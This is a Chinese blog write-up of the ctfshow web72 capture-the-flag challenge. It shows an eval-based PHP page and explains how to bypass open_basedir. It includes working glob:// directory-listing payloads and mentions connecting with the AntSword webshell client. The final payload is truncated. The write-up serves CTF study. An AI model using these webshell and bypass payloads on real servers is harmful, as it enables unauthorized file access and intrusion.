[ctfshow web入门] web72

06-01 1556阅读

信息收集

下载index.php并查看,和上题差不多

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

查根目录的时候失败了,不允许使用scandir进行目录穿透。关于open_basedir的博客:

open_basedir绕过

PHP之如何绕过open_basedir

open_basedir绕过

绕过 open_basedir

简单来说就是open_basedir是个白名单,如果设置,仅白名单可访问;如果不设置,白名单功能不启用,所有地址都能访问

[ctfshow web入门] web72

解题

蚁剑连接,简单粗暴

上面那篇博客写入一句话木马,然后连蚁剑接。我这只是蚁剑直接连接就连上了,不亏是蚁剑,这用就连上了。我还在考虑用什么函数写入一句话木马呢

[ctfshow web入门] web72

手工获取

当然,做题不是目的,是过程

所以我们应当学习怎么手工绕过

首要目标是获取flag所在目录的信息,因为这个flag肯定不可能是原名了

symlink、ini_set和file_put_contents被禁用了

仅有glob可用

使用glob协议读取目录

c=foreach(new DirectoryIterator("glob:///*") as $a){
    echo($a->__toString().' ');
}
ob_flush();

不要在payload里写注释

//遍历输出,末尾加一个
标签,这能好看些

c=if ( $a = opendir("glob:///*") ) {
    while ( ($file = readdir($a)) !== false ) {
        echo $file."
"; } closedir($a); ob_flush(); }

glob路径解析顺序:

通配符展开:glob:// 会先展开通配符,生成实际路径列表。

路径检查:PHP 在展开后的路径上应用 open_basedir 检查。

如果 glob:// 的原始路径(如 glob:///*)本身在 open_basedir 允许的范围内(例如允许 /tmp),但展开后的路径(如 /etc/passwd)超出范围。php7.4+版本已修复7.0.x-7.3.x部分版本开始陆续修复

[ctfshow web入门] web72

怎么读,找大佬的代码读

其中data=“”“payload”“”,python中的""" """不是表示多行注释,而是多行字符串

如果你要写到hackbar里的话,需要使用python的urllib.parse.quote(),或是找个在线网站转也行

payload我写下面了,太长了

[ctfshow web入门] web72

payload

c=?>
免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们。

相关阅读

目录[+]

取消
微信二维码
微信二维码
支付宝二维码